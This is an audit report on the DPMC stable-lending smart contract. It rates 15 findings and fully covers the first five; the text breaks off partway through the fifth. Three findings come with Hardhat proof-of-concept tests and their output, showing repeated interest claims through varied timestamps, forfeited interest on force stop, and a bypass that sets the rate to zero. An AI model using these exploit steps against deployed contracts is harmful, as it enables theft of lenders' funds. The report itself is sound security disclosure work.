

DPMC lending platform

Smart Contract Audit

Contents

Revision History & Version Control

1.0 Disclaimer

2.0 Overview

- 2.1 Project Overview
- 2.2 Scope
- 2.3 Project Summary
- 2.4 Audit Summary
- 2.5 Security Level References
- 2.6 Vulnerability Summary

3.0 Executive Summary

- 3.1 Recommendations

4.0 Technical Analysis

- 4.1 Interest Withdrawal Period Invariant Is Not Enforced, Allowing Multiple Claims For The Same Logical Interest Period
- 4.2 Force Stop Permanently Forfeits Accrued Interest and Returns Only Principal
- 4.3 Minimum Interest Rate Validation Can Be Bypassed Through `enableLendingPeriod`
- 4.4 Signature Domain Does Not Include Chain ID, Allowing Potential Cross-Chain Replay
- 4.5 Missing Configuration Invariants Allow Lending Parameters to Enter Impossible States
- 4.6 Missing Upper Bound Validation for Withdrawal Period Configuration
- 4.7 Zero Address Can Be Added as Admin
- 4.8 Inconsistent Usage of Existing Address Validation Modifier
- 4.9 Large Numeric Literals Can Be Replaced With Scientific Notation
- 4.10 Missing Dedicated Interface Contract for External Integrations
- 4.11 Missing Event Emission When Updating Period Multiplier
- 4.12 nonReentrant Modifier is Not the First Modifier
- 4.13 Repeated Magic Numbers Should Be Replaced With Named Constants
- 4.14 Solidity Pragma Should Be Specific, Not Wide
- 4.15 Use external Visibility for Public Functions

5.0 Auditing Approach and Methodologies applied

- 5.1 Structural Analysis
- 5.2 Static Analysis
- 5.3 Code Review / Manual Analysis
- 5.4 Gas Consumption
- 5.5 Tools & Platforms Used For Audit
- 5.6 Checked Vulnerabilities

5.0 Limitations on Disclosure and Use of this Report

Revision History & Version Control

Start Date	End Date	Author	Comments/Details
06 June 2026	18 June 2026	Gurkirat	Final Release for the Client

Reviewed by	Released by
Paul Kang	Paul Kang

Entersoft was commissioned to perform a source code review on DPMC smart contracts. The review was conducted between June 8, 2026, to June 18, 2026. The report is organized into the following sections.

- Executive Summary: A high-level overview of the security audit findings.
- Technical analysis: Our detailed analysis of the Smart Contract code

The information in this report should be used to understand overall code quality, security, correctness, and meaning that code will work as described in the smart contract.

1.0 Disclaimer

This is a limited audit report on our findings based on our analysis, in accordance with good industry practice as at the date of this report, in relation to: (i) smart contract best coding practices and vulnerabilities in the framework and algorithms based on white paper, code, the details of which are set out in this report, (Smart Contract audit). To get a full view of our analysis, it is crucial for you to read the full report. While we have done our best in conducting our analysis and producing this report, it is important to note that you should not rely on this report and cannot claim against us based on what it says or does not say, or how we produced it, and it is important for you to conduct your own independent investigations before making any decisions. We go into more detail on this in the disclaimer below – please make sure to read it in full.

DISCLAIMER: By reading this report or any part of it, you agree to the terms of this disclaimer. If you do not agree to the terms, then please immediately cease reading this report, and delete and destroy any copies of this report downloaded and/or printed by you. This report is provided for information purposes only and on a non-reliance basis and does not constitute investment advice. No one shall have any right to rely on the report or its contents, and Entersoft Australia and its affiliates (including holding companies, shareholders, subsidiaries, employees, directors, officers, and other representatives) (Entersoft) owe no duty of care towards you or any other person, nor does Entersoft make any warranty or representation to any person on the accuracy or completeness of the report. The report is provided "as is", without any conditions, warranties or other terms of any kind except as set out in this disclaimer, and Entersoft hereby excludes all representations, warranties, conditions and other terms (including, without limitation, the warranties implied by law of satisfactory quality, fitness for purpose and the use of reasonable care and skill) which, but for this clause, might have effect in relation to the report. Except and only to the extent that it is prohibited by law, Entersoft hereby excludes all liability and responsibility, and neither you nor any other person shall have any claim against Entersoft, for any amount or kind of loss or damage that may result to you or any other person (including without limitation, any direct, indirect, special, punitive, consequential or pure economic loss or damages, or any loss of income, profits, goodwill, data, contracts, use of money, or business interruption, and whether in delict, tort (including without limitation negligence), contract, breach of statutory duty, misrepresentation (whether innocent or negligent) or otherwise under any claim of any nature whatsoever in any jurisdiction) in any way arising from or connected with this report and the use, inability to use or the results of use of this report, and any reliance on this report. The analysis of the Smart contract is purely based on the smart contract code shared with us alone.

2.0 Overview

2.1 Project Overview

During the period of **06 June 2026 to 18 June 2026**, Entersoft performed smart contract security audits for **DPMC lending platform**.

2.2 Scope

The scope of this audit encompassed a thorough analysis and documentation of the smart contract codebase, with a focus on three key areas: quality, security, and correctness.

The primary objective was to ensure that the code not only adheres to industry best practices but also functions as intended without introducing vulnerabilities or logic flaws.

File In Scope:

- stable-lending-smart-contract.sol

Commit id - d3314fe6f543e0d905291e74271ebf5cce7928fa

Out of Scope: External contracts, External Oracles, other smart contracts in the repository, or imported smart contracts.

2.3 Project Summary

Project Name	No. of Smart Contract File(s)	Verified	Vulnerabilities
DPMC lending platform	1	Yes	As per report. Section 2.6

2.4 Audit Summary

Delivery Date	Method of Audit	Consultants Engaged
18 June 2026	Manual Review	1

2.5 Security Level References

Every vulnerability in this report was assigned a severity level from the following classification table:

		Impact				
		Minimal	Low	Medium	High	Critical
Likelihood	Critical	Minimal	Low	Medium	High	Critical
	High	Minimal	Low	Medium	High	Critical
	Medium	Minimal	Low	Medium	Medium	High
	Low	Minimal	Low	Low	Low	Medium
	Minimal	Minimal	Minimal	Minimal	Low	Low

2.6 Vulnerability Summary

Total findings

15

Risk posture

Critical

● Critical

1

● High

1

● Medium

2

● Low

3

● Info

8

Severity distribution



Top findings

Identified Identified Identified Identified Identified Identified Identified Identified Identified Identified Identified Identified Identified Identified Identified Identified Identified

Vulnerability	Severity	Status
Interest Withdrawal Period Invariant Is Not Enforced, Allowing Multiple Claims For The Same Logical Interest Period	Critical	
Force Stop Permanently Forfeits Accrued Interest and Returns Only Principal	High	
Minimum Interest Rate Validation Can Be Bypassed Through `enableLendingPeriod`	Medium	
Signature Domain Does Not Include Chain ID, Allowing Potential Cross-Chain Replay	Medium	
Missing Configuration Invariants Allow Lending Parameters to Enter Impossible States	Low	
Missing Upper Bound Validation for Withdrawal Period Configuration	Low	
Zero Address Can Be Added as Admin	Low	
Inconsistent Usage of Existing Address Validation Modifier	Informational	
Large Numeric Literals Can Be Replaced With Scientific Notation	Informational	
Missing Dedicated Interface Contract for External Integrations	Informational	
Missing Event Emission When Updating Period Multiplier	Informational	
nonReentrant Modifier is Not the First Modifier	Informational	
Repeated Magic Numbers Should Be Replaced With Named Constants	Informational	
Solidity Pragma Should Be Specific, Not Wide	Informational	

Vulnerability	Severity	Status
Use external Visibility for Public Functions	Informational	

3.0 Executive Summary

Entersoft conducted a comprehensive Smart Contract Security Audit of the DPMC Protocol, applying a multi-layered assessment framework that combined automated, manual, and adversarial analysis techniques.

The primary objective was to identify and mitigate potential vulnerabilities, logic flaws, and security risks within the protocol's Solidity smart contracts, ensuring alignment with industry best practices and the highest standards of security, reliability, and performance.

Our audit encompassed:

Manual code review to evaluate core logic, access controls, and edge-case handling.

Static and dynamic analysis using industry-standard tooling and custom scripts to detect vulnerabilities across the codebase.

Business logic and exploit simulation testing, including adversarial threat modelling to assess resilience against real-world attack vectors.

Remediation validation, confirming that identified issues were appropriately addressed and resolved.

The audit was performed between June 8, 2026, to June 18, 2026, during which Entersoft's security engineers thoroughly assessed and validated the DPMC Protocol's security posture. The engagement resulted in the identification of several vulnerabilities, each categorized by severity and detailed within the Vulnerability Summary Table and associated technical sections of this report.

This assessment reflects Entersoft's commitment to delivering a rigorous, transparent, and assurance-driven review process providing stakeholders with confidence that the DPMC Protocol has undergone a high-standard, comprehensive security evaluation.

Testing Methodology:

Entersoft's audit of the DMPC Protocol followed a rigorous, standards-aligned methodology that integrates both automated and manual assessment techniques, grounded in recognized smart contract security frameworks and global assurance benchmarks.

Our process commenced with extensive static and dynamic analysis using industry-leading tools such as Slither, Aderyn and Claude to automatically identify potential vulnerabilities across the Solidity codebase. Building upon this, our engineers performed a manual, line-by-line code review to uncover complex logic and business-layer vulnerabilities that automated scanners alone may overlook.

The audit further incorporated scenario-based testing and edge-case simulation, designed to validate the protocol's resilience under stressed operational conditions. Both positive and negative test cases were constructed to ensure comprehensive coverage and graceful error handling.

Our testing methodology in Solidity adhered to industry standards and best practices, integrating partially implemented

OWASP and NIST SP 800 standards for encryption and signatures. Solidity's renowned security practices were complemented by tools such as Solhint for linting, and the Solidity compiler for code optimization. Sol-profiler, Sol-coverage, and Sol-sec were employed to ensure code readability and eliminate unnecessary dependencies.

Tools Used for Audit:

During the audit we combined manual expertise with automated analysis to ensure a thorough review of the protocol's security and performance. The team used a range of tools within the audit process such as Slither and Aderyn to improve detection accuracy and assess code quality. This approach, built on industry best practices and careful review, helped identify potential vulnerabilities that automated tools might miss. Entersoft's process focuses on precision, depth and maintainability to ensure a secure and reliable smart contract codebase.

Code Review / Manual Analysis:

A detailed manual review of the Solidity contracts was carried out to verify the results from automated tools and uncover any additional vulnerabilities. Each line of code was carefully reviewed to ensure it met the guidelines and requirements shared during the onboarding phase.

Through this hands-on analysis the audit team confirmed the implementation of security controls, checked logical accuracy and identified issues that static analysis tools might have missed. This combined approach helped ensure the smart contract is both secure and reliable.

Auditing Approach and Methodologies Applied:

The assessment focused on the following key areas:

- **Code Quality and Structure:** The team reviewed the codebase in detail to identify issues affecting structure, readability, and maintainability. This included evaluating the architecture of the smart contract to confirm alignment with best coding practices and standards.
- **Security Vulnerabilities:** Manual analysis techniques were applied to identify security weaknesses that could be exploited by attackers. This included the detection of buffer overflows, injection risks, weak or deprecated cryptographic functions, and signature handling vulnerabilities.

Documentation Overview

Comprehensive documentation is a critical component of secure and maintainable protocol development. It ensures transparency, assists developers and auditors in understanding the system's architecture and functionality, and supports long-term maintenance and troubleshooting.

For blockchain-based protocols, detailed documentation is especially important due to the complexity and security requirements of decentralized systems. The following documentation artifacts were reviewed and rated based on their quality

and completeness as provided by the protocol team:

Protocol Documentation:

- Purpose: To describe the overall protocol, its goals, architecture, and how it operates.
- Quality Provided: Good

Technical Documentation:

- Purpose: To provide detailed information about the technical aspects of the protocol, including smart contracts, APIs, and their interactions.
- Quality Provided: Good

Inline Comments:

- Purpose: To explain specific parts of the code, such as the purpose of functions, variables, and logic.
- Quality Provided: Fair

Smart Contract Audit Testing objectives	Result
OVERALL SECURITY POSTURE	● POOR

3.1 Recommendations

Entersoft's evaluation found that the Stable Lending Protocol demonstrates a clear and well structured lending architecture, with lending, interest distribution, principal withdrawal, and administrative management mechanisms generally aligning with the protocol's intended business model. The use of signed authorizations, configurable lending periods, withdrawal tracking, and role-based access controls provides a solid operational foundation.

However, the audit identified several Critical and High-Severity issues affecting protocol correctness, economic security, and administrative controls.

Key findings included:

Critical and High-Severity Issues: Economic vulnerabilities within the interest withdrawal mechanism that allow protocol accounting invariants to be bypassed, potentially resulting in interest distributions that exceed the amount economically owed to lenders. Additional high-impact findings were identified in administrative and emergency control flows that may adversely affect user funds and protocol operation under certain conditions.

Medium-Severity Findings: Configuration management weaknesses that may allow the protocol to enter invalid or partially unusable states through administrative misconfiguration, including lending allocation constraints and withdrawal parameter management.

Low-Severity and Defense-in-Depth Findings: Signature-domain hardening opportunities, operational assumptions surrounding multi-chain deployments, and additional validation improvements for critical protocol parameters.

Informational and Best-Practice Enhancements: Missing event emissions for administrative actions, lack of interface separation, repeated magic numbers, numeric literal standardization opportunities, and other maintainability and code-quality improvements.

Further opportunities to strengthen protocol resilience include:

- Enforcing critical economic invariants directly on-chain rather than relying on off-chain signer correctness.
- Strengthening validation and consistency checks for protocol configuration parameters.
- Expanding automated testing coverage through invariant testing using fuzzing and formal verification.
- Improving operational monitoring through comprehensive event emission and clearer protocol documentation.
- Standardizing code-quality practices, constant management, and interface organization to improve long-term maintainability.

Following remediation of the identified findings, particularly the Critical and High-Severity economic and administrative issues, the protocol's residual risk is expected to be significantly reduced. Addressing the high-impact findings first, followed by medium-, low-, and informational recommendations, will substantially improve the protocol's security posture, operational reliability, and long-term maintainability.

4.0 Technical Analysis

4.1 Interest Withdrawal Period Invariant Is Not Enforced, Allowing Multiple Claims For The Same Logical Interest Period

Severity	Status	Type of Analysis
● Critical	Identified	Dynamic

Contract Name:

stable-lending-smart-contract.sol

Description:

The protocol documentation specifies that interest withdrawals are intended to occur once per eligible interest period. However, the implementation tracks withdrawals using an arbitrary timestamp supplied through the `_periods` array rather than enforcing discrete interest-period boundaries.

The contract only validates that a supplied period lies within the allowed range:

```
require(

    period >= lending.meta.lendingDate,

    "Period before lend start"

);

require(

    period <= lending.meta.lendingDate +

        (lending.meta.interestLimiter * periodMultiplier),

    "Period exceeds limiter"

);
```

To prevent duplicate withdrawals, the contract uses:

```
WithdrawalInterest storage existingWithdrawal =

    user.lendWithdrawalHistory[_lendId][period];
```

```
require(existingWithdrawal.amount == 0, "Already withdrawn");
```

However, the contract never validates that the `period` corresponds to a legitimate monthly boundary.

As a result, any unique timestamp within the allowed range is treated as a distinct interest period.

For example:

```
lendingDate + 30 days + 1 second
```

```
lendingDate + 30 days + 2 seconds
```

```
lendingDate + 30 days + 3 seconds
```

...

are all considered different claimable periods despite representing the same logical month.

This causes the protocol's "one withdrawal per interest period" invariant to be enforced entirely by the off-chain signer rather than by the smart contract itself.

Locations:

```
withdrawInterest()
```

Remediation:

The contract should enforce discrete interest periods on-chain rather than relying on arbitrary timestamps.

One approach is to represent claimable periods using a sequential period index:

```
Month 1
```

```
Month 2
```

```
Month 3
```

...

and track withdrawals using the month index rather than a timestamp.

Alternatively, validate that every supplied `period` aligns exactly with a permitted boundary.

This ensures that each interest period can only be claimed once regardless of signer behavior and preserves the protocol's intended accounting model.

Impact:

A compromised or incorrectly implemented signer can authorize multiple withdrawals for what should represent a single interest period.

Because each unique timestamp maps to a fresh storage slot, the contract allows repeated claims of `monthlyInterest` for the same logical month.

This enables excessive interest distribution from the protocol treasury and can result in substantial loss of funds from `lendingPoolAndReward`.

The issue is particularly severe because the smart contract does not independently enforce the protocol's core accounting invariant and instead relies entirely on off-chain correctness.

Proof of Concept

Assume:

- User creates a 6-month lending position.
- Monthly interest is calculated as `5 USDT`.
- Withdrawal window has opened.

The following withdrawals are all accepted:

`period = lendingDate + 30 days + 1 second`

`period = lendingDate + 30 days + 2 seconds`

`period = lendingDate + 30 days + 3 seconds`

...

Each withdrawal:

- Passes the period-range validation.
- Passes the duplicate-withdrawal check.
- Transfers a full `monthlyInterest` amount.

Code Snippet:

N/A

Reference:**POC's Description:**

The submitted Proof of Concept (PoC) successfully demonstrates that sixteen separate interest withdrawals were executed for timestamps within the same logical month. This resulted in the unauthorized extraction of 80 USDT of interest, whereas the lending position was economically entitled to only a single monthly payment.

Furthermore, the PoC illustrates a scenario where a position with an approximate total yearly interest entitlement of 70 USDT was exploited to withdraw 80 USDT by repeatedly submitting claims for the same logical period using marginal timestamp variations. This confirms that the protocol's intended interest cap is not rigorously enforced on-chain, permitting reward distributions to exceed the legitimate amounts owed to lenders.

Proof of Vulnerability:


```

it.only("POC: Interest Withdrawal Period Invariant Is Not Enforced, Allowing Multiple Claims For
The Same Logical Interest Period", async function () {
    const user3 = ethers.Wallet.createRandom().connect(ethers.provider);
    const amount = ethers.parseUnits("1000", 6);
    const period = 6;
    const id = await deposit(user3, amount, period);

    console.log("\n--- Starting PoC: Withdraw ---");

    // Advance 2 months so the withdrawal window opens (>7 days) and we are inside the 6-month term
    await advancingMonths(2);

    const info = await lending.lends(user3.address, id);
    const lendingDate = Number(info.meta.lendingDate);
    // const monthlyInterest = info.meta.monthlyInterest;
    const monthlyInterest = ethers.parseUnits("5", 6);

    const balanceBefore = await dpToken.balanceOf(user3.address);
    console.log(`User balance before withdrawing interest: ${ethers.formatUnits(balanceBefore, 6)}
    USDT`);
    console.log(`Monthly interest rate: ${ethers.formatUnits(monthlyInterest, 6)} USDT`);

    let withdrawelTime = 1;

    for ( i=0; i < 16; i++) {
        const monthLoopTimestamp = lendingDate + ((1 * MONTH) + i);
        console.log(`User makes ${withdrawelTime} withdrawal for month key:`, monthLoopTimestamp);
        await withdrawInterest(user3, id, [monthLoopTimestamp], [monthlyInterest]);
        withdrawelTime ++;
    }

    const balanceAfterSecond = await dpToken.balanceOf(user3.address);
    console.log(`Balance after all the withdrawals: ${ethers.formatUnits(balanceAfterSecond, 6)}
    USDT`);
    console.log(`Interest received: ${ethers.formatUnits(balanceAfterSecond - balanceBefore, 6)}
    USDT`);

    console.log("Correctly withdrawn more interest money than the limit");

    console.log("---- POC Verified: Different period key within the same month can withdraw interest
    more than what is the yearly limit ----");
});

```

```

gurkiratsingh@Gurkirats-MacBook-Air dpmc initial % npx hardhat test
[dotenv@17.2.3] injecting env (10) from .env -- tip: 👤 sync secrets across teammates & machines: https://dotenvx
.com/ops
Compiled 1 Solidity file successfully (evm target: paris).

StableLending branch coverage
User deposits principal: 1000.0 USDT
Lend created with ID: 1

--- Starting PoC: Withdraw ---
Advancing time by 2 months...
User balance before withdrawing interest: 999999999999000.0 USDT
Monthly interest rate: 5.0 USDT
User makes 1 withdrawal for month key: 1784119590

[withdrawInterest] lendId=1, exp=1786715190
  period[0] = 1784119590  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999000.0 USDT
[withdrawInterest] ✅ Success - received 5.0 USDT interest
User makes 2 withdrawal for month key: 1784119591

[withdrawInterest] lendId=1, exp=1786715191
  period[0] = 1784119591  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999005.0 USDT
[withdrawInterest] ✅ Success - received 5.0 USDT interest
User makes 3 withdrawal for month key: 1784119592

[withdrawInterest] lendId=1, exp=1786715192
  period[0] = 1784119592  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999010.0 USDT
[withdrawInterest] ✅ Success - received 5.0 USDT interest
User makes 4 withdrawal for month key: 1784119593

[withdrawInterest] lendId=1, exp=1786715193
  period[0] = 1784119593  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999015.0 USDT
[withdrawInterest] ✅ Success - received 5.0 USDT interest
User makes 5 withdrawal for month key: 1784119594

[withdrawInterest] lendId=1, exp=1786715194
  period[0] = 1784119594  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999020.0 USDT
[withdrawInterest] ✅ Success - received 5.0 USDT interest
User makes 6 withdrawal for month key: 1784119595

[withdrawInterest] lendId=1, exp=1786715195
  period[0] = 1784119595  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999025.0 USDT
[withdrawInterest] ✅ Success - received 5.0 USDT interest
User makes 7 withdrawal for month key: 1784119596

[withdrawInterest] lendId=1, exp=1786715196
  period[0] = 1784119596  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999030.0 USDT
[withdrawInterest] ✅ Success - received 5.0 USDT interest
User makes 8 withdrawal for month key: 1784119597

```

```

gurkiratsingh@Gurkirats-MacBook-Air dpmc initial % npx hardhat test
[withdrawInterest] ✓ Success – received 5.0 USDT interest
User makes 10 withdrawal for month key: 1784119599

[withdrawInterest] lendId=1, exp=1786715199
  period[0] = 1784119599  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999045.0 USDT
[withdrawInterest] ✓ Success – received 5.0 USDT interest
User makes 11 withdrawal for month key: 1784119600

[withdrawInterest] lendId=1, exp=1786715200
  period[0] = 1784119600  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999050.0 USDT
[withdrawInterest] ✓ Success – received 5.0 USDT interest
User makes 12 withdrawal for month key: 1784119601

[withdrawInterest] lendId=1, exp=1786715201
  period[0] = 1784119601  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999055.0 USDT
[withdrawInterest] ✓ Success – received 5.0 USDT interest
User makes 13 withdrawal for month key: 1784119602

[withdrawInterest] lendId=1, exp=1786715202
  period[0] = 1784119602  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999060.0 USDT
[withdrawInterest] ✓ Success – received 5.0 USDT interest
User makes 14 withdrawal for month key: 1784119603

[withdrawInterest] lendId=1, exp=1786715203
  period[0] = 1784119603  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999065.0 USDT
[withdrawInterest] ✓ Success – received 5.0 USDT interest
User makes 15 withdrawal for month key: 1784119604

[withdrawInterest] lendId=1, exp=1786715204
  period[0] = 1784119604  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999070.0 USDT
[withdrawInterest] ✓ Success – received 5.0 USDT interest
User makes 16 withdrawal for month key: 1784119605

[withdrawInterest] lendId=1, exp=1786715205
  period[0] = 1784119605  interest[0] = 5.0 USDT
Balance after withdrawal: 999999999999075.0 USDT
[withdrawInterest] ✓ Success – received 5.0 USDT interest
Balance of user after all the withdrawals: 999999999999080.0 USDT
Interest received to the user: 80.0 USDT
Max interest a user can receive monthly 5833333n
Max interest a user can receive yearly 70000n
Correctly withdrawn more interest money than the limit'
--- POC Verified: Different period key within the same month can withdraw interest more than what is the yearly l
imit ---
✓ POC: Interest Withdrawal Period Invariant Is Not Enforced, Allowing Multiple Claims For The Same Logical In
terest Period (200ms)

```

1 passing (749ms)

4.2 Force Stop Permanently Forfeits Accrued Interest and Returns Only Principal

Severity	Status	Type of Analysis
● High	Identified	Dynamic

Contract Name:

stable-lending-smart-contract.sol

Description:

The protocol provides an administrative `forceStop()` function that could prematurely terminates an active lending position.

When invoked, the function:

1. Marks the lending position as closed.
2. Marks the position as withdrawn.
3. Updates user and protocol accounting.
4. Transfers only the original principal amount back to the lender.

```
lending.meta.closed = true;
```

```
lending.meta.withdrawn = true;
```

However, the function does not calculate, account for, or distribute any interest that may have accrued prior to the forced closure.

Furthermore, after the position is force stopped, the lender can no longer claim interest via `withdrawInterest(...)` because the lending position is permanently marked as closed:

```
lending.meta.closed = true;
```

The interest withdrawal mechanism requires the lending position to remain active and therefore becomes permanently inaccessible after a force stop.

As a result, any accrued but unpaid interest is forfeited and remains within the protocol treasury.

Locations:

```
forceStop()
```

Remediation:

Before closing a lending position, calculate and distribute all accrued but unpaid interest owed to the lender.

The protocol should ensure that lenders receive both their principal and any interest accrued up to the time of the forced termination.

Impact:

An administrator can prematurely terminate active lending positions and return only principal while permanently preventing lenders from receiving accrued interest that has already been earned.

This results in direct financial loss for lenders and can cause earned yield to remain trapped within the protocol treasury.

Code Snippet:

N/A

Reference:**POC's Description:**

Example scenario:

1. A user lends funds into a 6 month lending period.
2. 3 months pass and interest has accrued.
3. An administrator invokes `forceStop()`.
4. The user receives only the original principal.
5. The position is permanently closed.
6. Previously accrued interest can never be withdrawn.

The issue directly impacts lender funds and may lead to loss of earned rewards across all force stopped positions.

Proof of Vulnerability:

```
it.only("POC: Force Stop Permanently Forfeits Accrued Interest and Returns Only Principal", async function () {
  const user3 = ethers.Wallet.createRandom().connect(ethers.provider);
  const amount = ethers.parseUnits("1000", 6);
  const period = 6;
  const id = await deposit(user3, amount, period);

  console.log("\n--- Starting PoC ---");

  // Advance time by 3 months to let interest accrue
  console.log("Advancing time by 3 months...");
  await ethers.provider.send("evm_increaseTime", [3 * 30 * 24 * 3600]);
  await ethers.provider.send("evm_mine");

  // Check balance before forceStop
  const balanceBefore = await dpToken.balanceOf(user3.address);
  console.log(`User balance before forceStop: ${ethers.formatUnits(balanceBefore, 6)} USD`);

  // Admin calls forceStop
  console.log("Admin triggers forceStop...");
  await expect(lending.connect(pool).forceStop(id, user3.address)).to.emit(lending, "ForceStop");

  // User received exactly the principal,
  const balanceAfter = await dpToken.balanceOf(user3.address);
  console.log(`User balance after forceStop: ${ethers.formatUnits(balanceAfter, 6)} USD`);
  console.log(`Amount refunded to user: ${ethers.formatUnits(balanceAfter - balanceBefore, 6)} USD (Principal only)`);

  expect(balanceAfter - balanceBefore).to.equal(amount);

  // User tries to withdraw accrued interest for the 3 elapsed months they held the deposit
  console.log("User attempts to withdraw accrued interest...");
  const month = (await ethers.provider.getBlock("latest")).timestamp - (1 * 30 * 24 * 3600); // ~2 month after lend start
  const months = [month];
  const interests = [ethers.parseUnits("10", 6)];
  const expInterest = (await ethers.provider.getBlock("latest")).timestamp + 3600;
  const wHash = ethers.keccak256(
    ethers.AbiCoder.defaultAbiCoder().encode(
      ["address", "address", "uint256", "uint256[]", "uint256[]", "uint256"],
      [lending.target, user3.address, id, months, interests, expInterest]
    )
  );

  const sigW = ethers.Signature.from(new ethers.SigningKey(sigWallet.privateKey).sign(wHash)).serialized;

  // This reverts with "Lend is closed." even though interest was accrued prior to forceStop
  await expect(
    lending.connect(user3).withdrawInterest(id, months, interests, expInterest, sigW)
  ).to.be.rejectedWith("Lend is closed.");
  console.log("Interest withdrawal failed as expected with: 'Lend is closed.'");
  console.log("--- PoC Successfully Verified Accrued Interest Loss ---");
});
```

```
gurkiratsingh@Gurkirats-MacBook-Air dpmc initial % npx hardhat test
[dotenv@17.2.3] injecting env (10) from .env -- tip: ✨ write to custom object with { processEnv: myObject }

StableLending branch coverage
User deposits principal: 1000.0 USD
Lend created with ID: 1

--- Starting PoC ---
Advancing time by 3 months...
User balance before forceStop: 9999999999999999.0 USD
Admin triggers forceStop...
User balance after forceStop: 10000000000000000.0 USD
Amount refunded to user: 1000.0 USD (Principal only)
User attempts to withdraw accrued interest...
Interest withdrawal failed as expected with: 'Lend is closed.'
--- PoC Successfully Verified Accrued Interest Loss ---
✓ POC: Force Stop Permanently Forfeits Accrued Interest and Returns Only Principal (56ms)

1 passing (612ms)
```

4.3 Minimum Interest Rate Validation Can Be Bypassed Through `enableLendingPeriod`

Severity	Status	Type of Analysis
● Medium	Identified	Dynamic

Contract Name:

stable-lending-smart-contract.sol

Description:

The protocol enforces a minimum interest rate requirement of `10_000` (1%) when updating a lending period:

```
require(_interestRate >= 10_000, "Interest rate must be at least 1%.");
```

However, the `enableLendingPeriod()` function also modifies the `interestRate` parameter but does not enforce the same validation:

As a result, an administrator can disable a lending period and subsequently re-enable it with an interest rate below the protocol's intended minimum, including a value of zero.

This creates inconsistent validation logic between two functions that update the same protocol parameter.

Locations:

`enableLendingPeriod(...)`, `updateLendingPeriod(...)`

Remediation:

- Enforce the same minimum interest rate validation within `enableLendingPeriod()`.
- Alternatively, consider removing the interest-rate update from `enableLendingPeriod()` entirely and restricting interest-rate modifications to `updateLendingPeriod()` to ensure a single, consistent configuration path.

Impact:

The protocol's minimum interest rate guarantee can be bypassed, allowing lending periods to become active with interest rates lower than intended.

In the protocol, this may result in:

- Lend being issued with incorrect interest calculations.
- Reduced or zero interest rate.
- Violation of economic parameters expected by users and protocol operators.

- Inconsistent behavior between lending periods configured through different administrative functions.

Code Snippet:

N/A

Reference:

POC's Description:

The following Proof of Concept (POC) demonstrates that an authorized entity, such as the admin, can circumvent protocol constraints by first disabling a lending period and subsequently re-enabling it with an interest rate of zero.

Proof of Vulnerability:

```
it.only("POC: Minimum Interest Rate Validation Can Be Bypassed Through using function enableLendingPeriod", async
function () {
    const period = 12;
    const interestRateBefore = (await lending.connect(deployer).lendingPeriods(period)).interestRate;

    console.log("\n--- Starting PoC ---");
    console.log(`This is the INITIAL interest rate for the period ${period}:`, interestRateBefore);
    console.log(`Disabling the lending period ${period}`);
    await lending.connect(deployer).disableLendingPeriod(period);
    console.log("Disable successful");

    console.log(`Enabling the period ${period} with interest rate set to zero`);
    await lending.connect(deployer).enableLendingPeriod(12,0);

    const interestRateAfter = (await lending.connect(deployer).lendingPeriods(period)).interestRate;

    console.log(`This is the FINAL interest rate for the period ${period}:`, interestRateAfter);
    console.log("--- POC Successfully Verified Interest Rate Set To Zero ---");

});
```



```

gurkiratsingh@Gurkirats-MacBook-Air dpmc initial % npx hardhat test
[dotenv@17.2.3] injecting env (10) from .env -- tip: ✂ run anywhere with `dotenvx run -- yourcommand`

StableLending branch coverage

--- Starting PoC ---
This is the INITIAL interest rate for the period 12: 70000n
Disabling the lending period 12
Disable successful
Enabling the period 12 with interest rate set to zero
This is the FINAL interest rate for the period 12: 0n
--- POC Successfully Verified Interest Rate Set To Zero ---
  ✓ POC: Minimum Interest Rate Validation Can Be Bypassed Through using function enableLendingPeriod

1 passing (562ms)

```

4.4 Signature Domain Does Not Include Chain ID, Allowing Potential Cross-Chain Replay

Severity	Status	Type of Analysis
● Medium	Identified	Dynamic

Contract Name:

stable-lending-smart-contract.sol

Description:

The protocol generates signatures using message hashes that include `address(this)` but do not include the current chain identifier (`block.chainid`).

Example:

```
bytes32 _hashedMessage = keccak256(abi.encode(address(this),msg.sender,... ));
```

While including the contract address prevents replay across different contract deployments, it does not prevent replay across different chains where the same contract address exists.

If the protocol is deployed on multiple EVM compatible chains using the same signer infrastructure and identical contract addresses, a signature generated for one chain may also be valid on another chain.

Locations:

`lend()`, `withdrawInterest()`, `requestWithdrawPrincipal()`, `withdrawPrincipal()`

Remediation:

Include `block.chainid` in all signed message hashes or migrate to EIP-712 structured signatures, which incorporate chain-specific domain separation by design.

Example:

```
bytes32 _hashedMessage = keccak256(
    abi.encode(
        block.chainid,
        address(this),
```

```
msg.sender,  
  
...  
  
)  
  
);
```

This ensures signatures are valid only on the chain for which they were originally generated.

Impact:

Under certain multi-chain deployment configurations, signatures intended for one network may be replayed on another network.

This may result in unintended execution of authorized actions on a different chain than originally intended.

Code Snippet:

N/A

Reference:**Proof of Vulnerability:**

N.A.

4.5 Missing Configuration Invariants Allow Lending Parameters to Enter Impossible States

Severity	Status	Type of Analysis
● Low	Identified	Dynamic

Contract Name:

stable-lending-smart-contract.sol

Description:

The protocol allows administrators to independently configure lending limits for personal and institutional users.

```
function updatePersonalMinLend(uint256 _newMinLend) external onlyAdmin
```

```
function updateInstitutionalMinLend(uint256 _newMinLend) external onlyAdmin
```

```
function updatePersonalMaxLend(uint256 _newMaxLend) external onlyAdmin
```

```
function updateInstitutionalMaxLend(uint256 _newMaxLend) external onlyAdmin
```

However, the contract does not validate the relationship between:

- personalMinLend
- personalMaxLend
- institutionalMinLend
- institutionalMaxLend
- totalMaxLendingPool

As a result, administrators can configure mutually incompatible values that make it impossible for users to satisfy the lending requirements.

Examples include:

Scenario 1

```
personalMinLend = 10,000,000 USDT
```

```
totalMaxLendingPool = 5,000,000 USDT
```

A personal user must lend at least 10,000,000 USDT, while the protocol will never accept more than 5,000,000 USDT.

No valid lending amount exists.

Scenario 2

